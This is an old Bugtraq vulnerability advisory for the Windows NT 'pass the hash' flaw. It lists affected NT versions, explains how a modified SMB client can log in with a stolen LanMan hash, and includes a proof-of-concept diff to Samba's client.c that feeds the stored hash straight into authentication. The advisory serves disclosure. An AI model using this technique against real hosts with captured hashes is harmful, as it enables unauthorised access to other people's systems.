NT "Pass the Hash" with Modified SMB Client Vulnerability

BID:233

Info

NT "Pass the Hash" with Modified SMB Client Vulnerability

Bugtraq ID: 233
Class: Access Validation Error
CVE:
Remote: Yes
Local: Unknown
Published: Apr 08 1997 12:00AM
Updated: Apr 08 1997 12:00AM
Credit: This vulnerability and exploit code was posted to NBugtraq by Paul Ashton <[email protected]>.
Vulnerable: Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT 3.5.1 SP5
Microsoft Windows NT 3.5.1 SP4
Microsoft Windows NT 3.5.1 SP3
Microsoft Windows NT 3.5.1 SP2
Microsoft Windows NT 3.5.1 SP1
Microsoft Windows NT 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Enterprise Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Terminal Server 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5
+ Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT 4.0 SP4
+ Microsoft Windows NT Enterprise Server 4.0 SP4
+ Microsoft Windows NT Enterprise Server 4.0 SP4
+ Microsoft Windows NT Server 4.0 SP4
+ Microsoft Windows NT Server 4.0 SP4
+ Microsoft Windows NT Terminal Server 4.0 SP4
+ Microsoft Windows NT Terminal Server 4.0 SP4
+ Microsoft Windows NT Workstation 4.0 SP4
+ Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT 4.0 SP3
+ Microsoft Windows NT Enterprise Server 4.0 SP3
+ Microsoft Windows NT Enterprise Server 4.0 SP3
+ Microsoft Windows NT Server 4.0 SP3
+ Microsoft Windows NT Server 4.0 SP3
+ Microsoft Windows NT Terminal Server 4.0 SP3
+ Microsoft Windows NT Terminal Server 4.0 SP3
+ Microsoft Windows NT Workstation 4.0 SP3
+ Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT 4.0 SP2
+ Microsoft Windows NT Enterprise Server 4.0 SP2
+ Microsoft Windows NT Enterprise Server 4.0 SP2
+ Microsoft Windows NT Server 4.0 SP2
+ Microsoft Windows NT Server 4.0 SP2
+ Microsoft Windows NT Terminal Server 4.0 SP2
+ Microsoft Windows NT Terminal Server 4.0 SP2
+ Microsoft Windows NT Workstation 4.0 SP2
+ Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT 4.0 SP1
+ Microsoft Windows NT Enterprise Server 4.0 SP1
+ Microsoft Windows NT Enterprise Server 4.0 SP1
+ Microsoft Windows NT Server 4.0 SP1
+ Microsoft Windows NT Server 4.0 SP1
+ Microsoft Windows NT Terminal Server 4.0 SP1
+ Microsoft Windows NT Terminal Server 4.0 SP1
+ Microsoft Windows NT Workstation 4.0 SP1
+ Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT 4.0
+ Microsoft Windows NT Enterprise Server 4.0
+ Microsoft Windows NT Enterprise Server 4.0
+ Microsoft Windows NT Server 4.0
+ Microsoft Windows NT Server 4.0
+ Microsoft Windows NT Terminal Server 4.0
+ Microsoft Windows NT Terminal Server 4.0
+ Microsoft Windows NT Workstation 4.0
+ Microsoft Windows NT Workstation 4.0
Not Vulnerable:

Discussion

NT "Pass the Hash" with Modified SMB Client Vulnerability

A modified SMB client can mount shares on an SMB host by passing the username and corresponding LanMan hash of an account that is authorized to access the host and share. The modified SMB client removes the need for the user to "decrypt" the password hash into its clear-text equivalent.

Paul Ashton <[email protected]> posted the theory and corresponding exploit code to NTBugtraq. In order for his code to work, you must "exist both in /etc/passwd and /usr/local/samba/private/smbpasswd as the same username and same uid as your rid in NT, and smbclient can read it".

In order for this to be used in a malicious manner, the attacker must first obtain a valid username and LanMan hash for a user account known to have access permissions to the resource on the remote NT host.

Exploit / POC

NT "Pass the Hash" with Modified SMB Client Vulnerability

*** orig_client.c Tue Apr 8 17:27:29 1997
--- client.c Tue Apr 8 20:57:43 1997
***************
*** 3020,3026 ****
{-1,NULL}
};

-
/****************************************************************************
send a login command
****************************************************************************/
--- 3020,3025 ----
***************
*** 3039,3044 ****
--- 3038,3061 ----
int numprots;
int tries=0;

+ #ifdef USESMBPASSWDFILE
+ /*TODO check for valid password and uid = getuid */
+ BOOL got_encpass;
+ struct passwd *pwd;
+ struct smb_passwd *smb_pass;
+ unsigned char p21[21];
+
+ memset(p21, 0, sizeof p21);
+ pwd = getpwuid(getuid());
+ if (pwd && (smb_pass = get_smbpwnam(pwd->pw_name)))
+ {
+ strcpy(password, "not empty");
+ got_pass = got_encpass = True;
+ memcpy(p21, smb_pass->smb_passwd, 16);
+ }
+ setuid(getuid());
+ #endif
+
if (was_null)
{
inbuf = (char *)malloc(BUFFER_SIZE + SAFETY_MARGIN);
***************
*** 3189,3194 ****
--- 3205,3215 ----
if (doencrypt && *pass) {
DEBUG(3,("Using encrypted passwords\n"));
passlen = 24;
+
+ #ifdef USESMBPASSWDFILE
+ if (got_encpass) E_P24(p21,cryptkey,pword);
+ else
+ #endif
SMBencrypt(pass,cryptkey,pword);
}
#else
***************
*** 3252,3257 ****
--- 3273,3281 ----
(CVAL(inbuf,smb_rcls) == ERRSRV &&
SVAL(inbuf,smb_err) == ERRbadpw)))
{
+ #ifdef USESMBPASSWDFILE
+ got_encpass =
+ #endif
got_pass = False;
DEBUG(3,("resending login\n"));
goto get_pass;

References

NT "Pass the Hash" with Modified SMB Client Vulnerability

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